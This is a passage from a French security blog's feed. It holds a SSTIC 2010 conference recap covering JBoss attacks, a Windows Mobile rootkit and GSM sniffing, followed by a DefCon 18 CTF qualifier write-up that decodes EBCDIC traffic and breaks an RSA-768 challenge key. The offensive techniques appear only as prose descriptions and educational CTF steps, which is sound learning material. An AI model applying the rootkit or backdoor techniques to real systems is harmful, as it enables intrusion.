<li><em>Kesske SSTIC</em>, qui dévoile pas mal de chiffres sur l&rsquo;édition 2010 du SSTIC. Pour ne citer que le minimum : 450 places écoulées en 25 heures, près de 2/3 du budget passe dans la bouffe (social event et resto universitaire), et un taux d&rsquo;acceptation de 60% pour les soumissions de papier.</li>
<li><em>Timing attack sur machine à café</em>, ou comment exploiter une vulnérabilité de machine à café pour gagner de la fidélité sur sa carte, et donc des café gratuits. Le principe est simple : retirer la carte après que la machine ait incrémenté la fidélité, et avant le débit <img src='https://www.segmentationfault.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </li>
<li><em><a href="http://www.netglub.org/">Netglub</a></em>, où on a le droit à une super démo d&rsquo;un outil Maltego-like en C++/Qt et &laquo;&nbsp;vraiment OpenSource&nbsp;&raquo; permettant de faire de la recherche d&rsquo;information. Vraiment sympa, j&rsquo;ai hâte que ça sorte.</li>
<li>Deux projets qui vont bientôt sortir : le moteur de recherche de vulnérabilités QSWX et son spider Bubulle, et SecurityGarden, une sorte de PaketStorm en mieux.</li>
<li><em><a href="http://www.decalage.info/exefilter">ExeFilter</a> contre les méchants PDF</em> : outil de nettoyage de fichiers, utilisable pour désactiver les contenus malveillants dans un PDF et accessoirement se protéger des 0-days potentiels.</li>
<li><em><a href="http://boss.gipsa-lab.grenoble-inp.fr/Warming/">BOSS</a> : Break Our Steganography System</em>, un challenge de stégano débutant à la fin du mois.</li>
<li><em>Scapytain</em> : Philipe Biondi expose de façon inédite un outil de gestion de campagne de tests basé sur <a href="http://www.secdev.org/projects/scapy/">Scapy</a>.</li>
</ul>
<p style="text-align: center;">
<div class="wp-caption aligncenter" style="width: 458px"><img class=" " title="Présentation de Scapytain sous GIMP" src="http://lh5.ggpht.com/_Rzr3MErwyvk/TBOUoSRcf1I/AAAAAAAAFR4/gMaPQEygi1o/s640/IMG_8836.JPG" alt="Présentation de Scapytain sous GIMP" width="448" height="336" /><p class="wp-caption-text">Présentation de Scapytain sous GIMP</p></div>
<h3>JBOSS AS: Exploitation et sécurisation</h3>
<p>Renaud Dubourguais (HSC) présente un état de l&rsquo;art des vulnérabilités touchant le middleware JBOSS AS, démos à l&rsquo;appui. Dès le début, c&rsquo;est très clair : il n&rsquo;y a pas de mécanismes de sécurité par défaut. Autrement dit, il y a de quoi faire&#8230; Console d&rsquo;administration JMX accessible sans authentification (ou avec admin/admin), déploiement de backdoor sous forme d&rsquo;application SAR, utilisation du protocole RMI, accès à la web console&#8230; Des mécanismes de sécurité existent (JBOSS SX, sandboxing) mais sont rarement implémentés en pratique. Une conférence très intéressante qui donne envie d&rsquo;auditer du JBOSS&#8230;</p>
<h3>Audit d&rsquo;applications .NET complexes</h3>
<p>Nicolas Ruff (EADS) dresse un état de l&rsquo;art des techniques de reversing de code .NET permettant d&rsquo;auditer les applications Microsoft. Une fois compilé, le bytecode .NET conserve la sémantique du code source, et il est possible de le décompiler avec des softs adaptés comme l&rsquo;excellent <a href="http://www.red-gate.com/products/reflector/">Reflector</a>, et d&rsquo;utiliser l&rsquo;API de reflexion pour récupérer de nombreuses informations. La compilation de ce bytecode en langage machine peut se réaliser à la volée (Just In Time) ou bien sous forme de DLL dans le Global Assembly Cache, que l&rsquo;on peut également analyser avec des outils comme IDA. J&rsquo;y apprend également que Windbg supporte le debugging d&rsquo;applications .NET avec l&rsquo;extension <a href="http://msdn.microsoft.com/en-us/library/bb190764.aspx">SOS</a> accessible par la commande <code>.loadby sos mscorwks</code>. Démonstration pratique avec Songsmith, et hop.</p>
<h3>PoC(k)ET, les détails d&rsquo;un rootkit pour Windows Mobile 6</h3>
<p>Cédric Halbronn expose les spécificités de l&rsquo;implémentation d&rsquo;un rootkit pour smartphone Windows Mobile 6. Ce genre de plateforme impose certaines contraintes, principalement la quantité de mémoire et la consommation de la batterie. Cependant comme le dit si bien l&rsquo;auteur, le modèle de sécurité de Windows Mobile est très permissif. Les applications doivent être signées pour pouvoir s&rsquo;installer&#8230; mais cette restriction est implémentée par le simple affichage d&rsquo;un message d&rsquo;avertissement. D&rsquo;autre part, il est possible d&rsquo;installer facilement un certificat dans le magasin de certificats privilégiés du téléphone, qui est invisible et inaccessible pour l&rsquo;utilisateur. Il est alors facile de mettre en place un système de download &amp; execute furtif. En outre, le passage en mode noyau se fait on ne peut plus simplement, grâce à l&rsquo;appel à l&rsquo;API SetKMode() ! Il devient alors possible de hooker le driver baseband gérant les commandes AT, la saisie du code PIN (qui transite en clair entre le baseband et le CPU), les SMS&#8230; L&rsquo;injection de DLL est aussi possible, donc camoufler des fichiers peut se faire de la façon habituelle avec un hook des API FindFirstFile() etc. Le rootkit exposé ici est injecté par WAP Push, est contrôlable par une interface graphique, et n&rsquo;est pas détecté par les anti-virus, qui d&rsquo;après l&rsquo;auteur «ne détectent qu&rsquo;entre 5 et 10 virus»&#8230; Une question est posée : «Comment se protège-t-on alors ?». La réponse est claire : «On ne prend pas Windows Mobile» <img src='https://www.segmentationfault.fr/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p style="text-align: center;">
<div class="wp-caption aligncenter" style="width: 458px"><img class=" " title="Interface d'admin d'un rootkit Windows Mobile" src="http://lh4.ggpht.com/_Rzr3MErwyvk/TBOUpXCnUoI/AAAAAAAAFSA/gPzw4GpZWlU/s640/IMG_8842.JPG" alt="Interface d'admin du rootkit" width="448" height="336" /><p class="wp-caption-text">Interface d&#39;admin du rootkit</p></div>
<h3>Projet OsmocomBB</h3>
<p>Harald Welte nous parle maintenant du projet OsmocomBB, visant cette fois-ci à fournir un baseband OpenSource pour téléphone mobile. J&rsquo;ai été un peu largué, mais la démo super visuelle et intéressante a retenue mon attention. Il s&rsquo;agissait de sniffer les communications GSM avec un mobile Motorola (coutant aux alentours de 15€) connecté à un laptop, puis et de les rendre affichables dans Wireshark (sans les déchiffrer). Le tout dans un amphi plongé dans le noir et illuminé par le code défilant à l&rsquo;écran&#8230; Comme le disaient certains, «Le SSTIC revient aux sources» !</p>
<p style="text-align: left;">
<div class="wp-caption aligncenter" style="width: 458px"><img class=" " title="Wieshark sniffant du GSM" src="http://lh5.ggpht.com/_Rzr3MErwyvk/TBOUqbE8e8I/AAAAAAAAFSE/enTQJI5gTbs/s640/IMG_8848.JPG" alt="Wieshark sniffant du GSM" width="448" height="336" /><p class="wp-caption-text">Wieshark sniffant du GSM</p></div>
<h3 style="text-align: left;">Conclusion</h3>
<p style="text-align: left;">Comme je le disais en intro, j&rsquo;ai volontairement omis quelques conférences (notamment celle de clôture), principalement car car la mémoire me fait défaut, ou bien parce que j&rsquo;estime que des bien meilleurs résumés ont été fait avant moi&#8230;</p>
<p style="text-align: left;">Globalement les conférences étaient d&rsquo;excellente qualité. Mes coups de cœur restent les interventions techniques, (virtdbg, l&rsquo;IOMMU, la sécurité des cartes réseau, JBOSS, le reversing d&rsquo;applis .NET, PoC(k)ET, GSM&#8230;) même si les autres ne manquaient pas de qualité. Concernant la conférence sur OPA que je n&rsquo;ai pas mentionnée ici, je suis assez d&rsquo;accord avec ce qu&rsquo;a exposé Sid sur son <a href="http://sid.rstack.org/blog/index.php/412-en-direct-du-sstic-la-revanche">blog</a>. Son contenu aurait pu être beaucoup plus intéressant, dommage qu&rsquo;elle visait le mauvais public&#8230;</p>
<p style="text-align: left;">En tout cas, chapeau aux comités d&rsquo;organisation et de programme ! J&rsquo;espère pouvoir revenir l&rsquo;année prochaine. En attendant, rendez-vous à la <a href="http://www.nuitduhack.com/">Nuit Du Hack</a> le week-end prochain <img src='https://www.segmentationfault.fr/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p style="text-align: left;">Mes photos sont disponibles sur ma <a href="http://picasaweb.google.com/emilien.girault/SSTIC2010#">galerie Picasa</a>.</p>
<p style="text-align: left;">
]]></content:encoded>
			<wfw:commentRss>https://www.segmentationfault.fr/securite-informatique/sstic-2010/feed/</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Résumé partiel des DC18 CTF Quals</title>
		<link>https://www.segmentationfault.fr/securite-informatique/resume-dc18-ctf-quals/</link>
		<comments>https://www.segmentationfault.fr/securite-informatique/resume-dc18-ctf-quals/#comments</comments>
		<pubDate>Mon, 24 May 2010 19:29:25 +0000</pubDate>
		<dc:creator>Emilien Girault</dc:creator>
				<category><![CDATA[CTF]]></category>
		<category><![CDATA[Sécurité informatique]]></category>
		<category><![CDATA[challenge]]></category>
		<category><![CDATA[Cryptographie]]></category>
		<category><![CDATA[hacking]]></category>

		<guid isPermaLink="false">http://www.segmentationfault.fr/?p=796</guid>
		<description><![CDATA[Contrairement à ce que certains pensent peut-être en voyant ce blog à l&#8217;abandon depuis plusieurs mois, non, je ne suis pas mort ! J&#8217;ai simplement été assez pris ces derniers temps, et j&#8217;essaye au passage de finaliser ma première release de XeeK pour la NDH le 19 juin&#8230; Ce week-end, j&#8217;ai rapidement participé aux qualifications [...]]]></description>
			<content:encoded><![CDATA[<p>Contrairement à ce que certains pensent peut-être en voyant ce blog à l&rsquo;abandon depuis plusieurs mois, non, je ne suis pas mort ! J&rsquo;ai simplement été assez pris ces derniers temps, et j&rsquo;essaye au passage de finaliser ma première release de <a href="http://www.segmentationfault.fr/projets/conference-sur-xeek-a-la-ndh-2010/">XeeK</a> pour la <a href="http://www.nuitduhack.com">NDH</a> le 19 juin&#8230;</p>
<p>Ce week-end, j&rsquo;ai rapidement participé aux qualifications du CTF de la <a href="http://www.defcon.org/">DefCon</a> 18. Je n&rsquo;avais pas refait de challenge depuis <a href="http://www.segmentationfault.fr/securite-informatique/insomnihack2010-hzv-won/">Insomni&rsquo;hack 2010</a> donc je me suis senti obligé de me décrasser un peu le cerveau. Ma participation à ces qualifications est toutefois restée limitée ; n&rsquo;ayant pas pu m&rsquo;inscrire à temps j&rsquo;ai du rejoindre une team à l&rsquo;arrache (Big-Daddy).<span id="more-796"></span></p>
<h3>Vue d&rsquo;ensemble</h3>
<p>Le challenge consistait en 6 séries de 5 épreuves, chacune intitulée de la sorte :</p>
<ul>
<li>Poursuit trivial (épreuves générales)</li>
<li>Crypto Badness (cryptographie)</li>
<li>Packet Madness (réseau)</li>
<li>Binary L33tness (cracking, applicatif)</li>
<li>Pwtent Pwnables (exploitations de services)</li>
<li>Forensics (analyse de fichiers)</li>
</ul>
<p>N&rsquo;ayant pas énormément de temps à consacrer à ce challenge, je n&rsquo;ai pas vraiment touché à tout mais me suis focalisé sur la crypto et le réseau.</p>
<p>Dans l&rsquo;ensemble j&rsquo;ai trouvé ça plutôt sympa, même si j&rsquo;ai quand même deux remarques négatives à faire :</p>
<ul>
<li>L&rsquo;interface du panneau d&rsquo;équipe codée en Java était vraiment plus que foireuse. Je ne sais pas si c&rsquo;était du au fait qu&rsquo;on soit plusieurs à partager le même compte, mais il fallait bouriner comme un dingue sur le bouton de validation afin d&rsquo;avoir un espoir de valider les réponses (valides), voire même parfois se reconnecter.</li>
<li>Certaines épreuves étaient relativement <a href="http://www.dico-des-mots.com/definitions/capilotracter.html">capilotractées</a>, dans le sens ou elles n&rsquo;étaient pas réalistes du tout et qu&rsquo;il fallait être à peu près aussi dingue que leur concepteur pour la valider. Enfin je pense que ça doit être à peu près pareil sur tous les challenges du genre&#8230;</li>
</ul>
<p>Étant loin d&rsquo;avoir réussi à valider toutes les épreuves, je vous propose de dévoiler la solution de deux d&rsquo;entre elles que j&rsquo;ai trouvées assez sympathiques.</p>
<h3>Packet Madness 200</h3>
<p>Dans cette épreuve, on fournissait une <a href="http://www.segmentationfault.fr/wp-content/uploads/2010/05/Copie-de-pkt200_55216efa7a182fb0.pcap_.txt">capture de paquets</a> (à renommer en .pcap), le but étant comme toutes les autres épreuves de trouver une passphrase de validation.</p>
<p>Sous Wireshark, on constate qu&rsquo;il s&rsquo;agit d&rsquo;un trafic TCP entre un client et un serveur. En utilisant l&rsquo;option &laquo;&nbsp;Follow TCP Stream&nbsp;&raquo;, on constate qu&rsquo;il semble s&rsquo;agir de trafic binaire&#8230;</p>
<div id="attachment_799" class="wp-caption aligncenter" style="width: 496px"><a href="http://www.segmentationfault.fr/wp-content/uploads/2010/05/pkt200_1.png"><img class="size-full wp-image-799" title="pkt200_1" src="http://www.segmentationfault.fr/wp-content/uploads/2010/05/pkt200_1.png" alt="" width="486" height="246" /></a><p class="wp-caption-text">Capture Wireshark</p></div>
<p style="text-align: left;">Cependant, l&rsquo;indice laissé par l&rsquo;épreuve suggère que les deux machines communiquent avec une &laquo;&nbsp;langue&nbsp;&raquo; inhabituelle. S&rsquo;agirait-il d&rsquo;un encodage connu mais peu courant ? En regardant un peu les encodages supportés par Wireshark, on s&rsquo;aperçoit rapidement qu&rsquo;ils &lsquo;agit en fait de l&rsquo;<a href="http://fr.wikipedia.org/wiki/Extended_Binary_Coded_Decimal_Interchange_Code">EBCDIC</a>, encodage créé par IBM qui semble remonter à l&rsquo;époque quasi-préhistorique des cartes perforées&#8230; En utilisant cet encodage, on y voit tout de suite plus clair :</p>
<div id="attachment_800" class="wp-caption aligncenter" style="width: 647px"><a href="http://www.segmentationfault.fr/wp-content/uploads/2010/05/pkt200_2.png"><img class="size-full wp-image-800" title="pkt200_2" src="http://www.segmentationfault.fr/wp-content/uploads/2010/05/pkt200_2.png" alt="Trafic décodé" width="637" height="293" /></a><p class="wp-caption-text">Trafic décodé</p></div>
<p style="text-align: left;">Il s&rsquo;agit donc d&rsquo;une sorte de telnet encodé en EBCDIC. Visiblement, le serveur propose plusieurs options, comme la création d&rsquo;un compte, l&rsquo;authentification, un mode maintenance et un affichage de news. L&rsquo;IP du serveur visible dans le dump, 192.42.96.121, existe bel et bien et héberge bien ce service sur le port 8686. Il semble donc que la réponse à l&rsquo;épreuve doive être obtenue en s&rsquo;y connectant. Malheureusement les outils classiques comme telnet et netcat ne supportent pas l&rsquo;EBCDIC. Mais c&rsquo;est sans compter Python, qui le supporte nativement, et qui va ainsi nous permettre de se coder un petit client maison :</p>
<pre style="text-align: left;">#!/usr/bin/python

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.41.96.121", 8686))

while True:
 data = s.recv(3000)
 print data.decode('EBCDIC-CP-BE').encode('ascii')

 input = raw_input()
 input_to_send = input.decode('ascii').encode('EBCDIC-CP-BE')+"%"
 s.send(input_to_send)</pre>
<p style="text-align: left;">Ce client permet d&rsquo;envoyer des commandes au service tout en affichant ses réponses. Toutefois, j&rsquo;ai constaté qu&rsquo;il était toujours en retard d&rsquo;un message par rapport au serveur. N&rsquo;ayant pas le temps d&rsquo;être perfectionniste, je m&rsquo;en suis contenté et ai pu me créer un compte sur le serveur avec la commande &laquo;&nbsp;a&nbsp;&raquo;, puis me loguer avec ce même compte (&laquo;&nbsp;l&nbsp;&raquo;). Le mode administrateur &laquo;&nbsp;m&nbsp;&raquo; ne fonctionnant pas, il ne restait que l&rsquo;affichage des news (&laquo;&nbsp;n&nbsp;&raquo;), qui donnait cette sortie :</p>
<pre>5/21/2010 - Defcon qualifiers are underway.

5/18/2010 - It's Bob Randolph's birthday today, wish him well
 if you see him

5/16/2010 - It's IBM old timer's night at the bowling alley.
 The key thing to remember at these things is that:
 once upon a time IBM ruled the world

4/29/2001 - First post! w00t!</pre>
<p>La news du 16 mai 2010 m&rsquo;interpelle du fait de la présence du mot &laquo;&nbsp;key&nbsp;&raquo;&#8230; Nous testons donc la réponse &laquo;&nbsp;<em>once upon a time IBM ruled the world</em>&nbsp;&raquo; à l&rsquo;épreuve, et après un léger acharnement collectif sur le team board, nous parvenons à valider ! Finalement, ce n&rsquo;était pas compliqué&#8230;</p>
<h3>Crypto Badness 400</h3>
<p>Dans cette épreuve épinglée de l&rsquo;indice &laquo;&nbsp;crack me&nbsp;&raquo;, on fournit une <a href="http://www.segmentationfault.fr/wp-content/uploads/2010/05/c400_95bcb7c5807a366d.tgz_.txt">archive tgz</a> (encore une fois à renommer). Celle-ci contient un fichier blob.dat visiblement chiffré et une clé publique pubkey.pem. Il s&rsquo;agit donc visiblement de casser la <a href="http://fr.wikipedia.org/wiki/Cryptographie_asym%C3%A9trique">clé publique</a> afin de retrouver la clé privée et déchiffrer le fichier .dat. Voici la clé publique :</p>
<pre>-----BEGIN RSA PUBLIC KEY-----
MGgCYQDK2YRVfJfgOUMaImrXJ/DG1D7z1BhGnxs3UEmyKYQ+6fg7H5dzisJ09fYf
QB8h8ZE+S2S7MbVaONOYwN/tALE5LwiJcRxEs1nnl2xhf8xzTwbj6VwmR2CRtS9G
LnlBPbUCAwEAAQ==
-----END RSA PUBLIC KEY-----</pre>
<p>Il s&rsquo;agit d&rsquo;une clé <a href="http://en.wikipedia.org/wiki/RSA">RSA</a>. Pour analyser ce genre de clé, l&rsquo;outil tout indiqué est <a href="http://www.openssl.org/">OpenSSL</a>. Cependant, une mauvaise surprise nous attend&#8230;</p>
<pre>$ openssl rsa -pubin -in pubkey.pem -text
unable to load Public Key
20934:error:0906D06C:PEM routines:PEM_read_bio:no start line:pem_lib.c:647:Expecting: PUBLIC KEY</pre>
<p>Impossible de lire la clé avec cet outil, donc. Un peu de recherche Google, et je trouve <a href="http://barelyenough.org/blog/2008/04/fun-with-public-keys/">quelqu&rsquo;un</a> qui a eu le même problème :</p>
<blockquote><p>The problem is this an RSA public key PEM or <a href="http://en.wikipedia.org/wiki/Distinguished_Encoding_Rules">DER</a> generated by Ruby’s <a href="http://ruby-doc.org/stdlib/libdoc/openssl/rdoc/index.html"><code>OpenSSL::PKey::RSA</code></a> are unreadable by <a href="http://www.openssl.org/">OpenSSL</a>, <a href="http://www.bouncycastle.org/">Bouncy Castle</a> and probably other  crypto tools.</p>
<p>The actual issue is that Ruby’s <code>OpenSSL::PKey::RSA#to_pem</code> and <code>#to_der</code> generate a <a href="http://tools.ietf.org/html/rfc3447#appendix-A.1.1">PKCS#1 public  key format</a> while the <code>openssl rsa</code> command only works <a href="http://en.wikipedia.org/wiki/PKCS">PKCS#8</a> formatted public keys.</p></blockquote>
<p>Ainsi, la clé semble avoir été générée avec le module OpenSSL de Ruby, et son format PKCS#1 empêche sa lecture avec OpenSSL. Qu&rsquo;à cela ne tienne, nous allons utiliser ce même module pour la lire ! On ouvre le shell Ruby (IRB) et on tape :</p>
<pre>$ irb
irb(main):001:0&gt; require 'openssl'
=&gt; true
irb(main):002:0&gt; a=OpenSSL::PKey::RSA.new(File.read("pubkey.pem"))
=&gt; -----BEGIN RSA PUBLIC KEY-----
MGgCYQDK2YRVfJfgOUMaImrXJ/DG1D7z1BhGnxs3UEmyKYQ+6fg7H5dzisJ09fYf
QB8h8ZE+S2S7MbVaONOYwN/tALE5LwiJcRxEs1nnl2xhf8xzTwbj6VwmR2CRtS9G
LnlBPbUCAwEAAQ==
-----END RSA PUBLIC KEY-----

irb(main):003:0&gt; a.params
=&gt; {"dmq1"=&gt;0, "dmp1"=&gt;0, "iqmp"=&gt;0, "n"=&gt;12301866845301177551304949
58384962720772853569595334792197322452151726400507263657518745202199
78646938995647494277406384592519255732630345373154826850791702612214
29134616704292143116022212404792747377940806653514195974598569021434
13, "d"=&gt;0, "p"=&gt;0, "e"=&gt;65537, "q"=&gt;0}</pre>
<p>On arrive ainsi à extraire le module (n) et l&rsquo;exposant public (e). Ce dernier étant quasiment toujours le même, seul le module importe ici. Pour savoir si nous avons une chance de le casser, regardons sa taille en bits :</p>
<pre>$ python
&gt;&gt;&gt; import math
&gt;&gt;&gt; n=12301866845301177551304949583849627207728535695953347921973224
52151726400507263657518745202199786469389956474942774063845925192557
32630345373154826850791702612214291346167042921431160222124047927473
7794080665351419597459856902143413
&gt;&gt;&gt; math.log(n, 2)
767.66426718447133</pre>
<p>Il semble codé sur 768 bits&#8230; Cela ne vous rappelle rien ? Le nombre <a href="http://en.wikipedia.org/wiki/RSA_numbers#RSA-768">RSA-768</a> a été cassé en décembre dernier. Et comme par hasard, c&rsquo;est bien le même qui est utilisé ici&#8230; Nous allons donc pouvoir utiliser sa factorisation pour générer la clé privée correspondante. Par chance, <a href="http://blog.stalkr.net/">StalkR</a> de la team <a href="http://nibbles.tuxfamily.org">Nibbles</a> a posté un <a href="http://nibbles.tuxfamily.org/?p=1040">article très similaire</a> issu du CTF <a href="http://www.codegate.org/Eng/">Codegate</a> il y a quelques mois. Il y indique la procédure à suivre pour générer le certificat, qui pour simplifier se résume à télécharger un <a href="http://stalkr.net/files/codegate/2010/7/e_os.h">en-tete d&rsquo;OpenSSL</a> ainsi qu&rsquo;un <a href="http://stalkr.net/files/codegate/2010/7/create_private.c">programme C</a> servant à générer la clé. On lance tout ça :</p>
<pre>$ gcc -lssl -o create_private create_private.c
$ ./create_private</pre>
<p>La clé privée est générée dans le fichier private.pem. Il ne reste alors plus qu&rsquo;à décrypter le fichier blob.dat en utilisant la commande :</p>
<pre>$ openssl rsautl -decrypt -inkey private.pem -in blob.dat -out output.txt</pre>
<p>Moment de vérité&#8230;</p>
<pre>$ cat output.txt
how long until 1024 falls by the wayside?</pre>
<p>Il s&rsquo;agit bien de la réponse à l&rsquo;épreuve (validée encore une fois grâce à un acharnement collectif).</p>
<p>Comme l&rsquo;épreuve précédente, ce n&rsquo;était techniquement pas compliqué, l&rsquo;obstacle majeur étant la non-reconnaissance de la clé par OpenSSL&#8230; En tout cas merci à StalkR pour son article qui a été d&rsquo;une grande aide.</p>
<h3>Conclusion</h3>
<p>Ces épreuves ont été l&rsquo;occasion pour moi de me remettre un peu dans le bain des CTFs. Le niveau était globalement assez élevé (plus dur que l&rsquo;année dernière à en croire certains), et nous n&rsquo;avons réussi à valider que quelques épreuves; les résultats sont disponibles <a href="http://www.ddtek.biz/qualsDC18scores.txt">ici</a>. Pour ceux que ça intéresse, vous trouverez le résultat de la dernière épreuve du Poursuit trivial <a href="http://scott.wolchok.org/t500.html">ici</a>.</p>
<p>Chapeau à Nibbles pour avoir terminé 10ème ; un grand bravo à eux. Et merci à tous ceux avec qui j&rsquo;ai challengé, en particulier à <a href="http://silkcut.wordpress.com/">Silkut</a>, MatToufoutu, et Dad. En espérant que nous parviendrons à créer une équipe HZV l&rsquo;année prochaine, du moins si nous avons plus de temps et de ressources&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>https://www.segmentationfault.fr/securite-informatique/resume-dc18-ctf-quals/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
	</channel>
</rss>
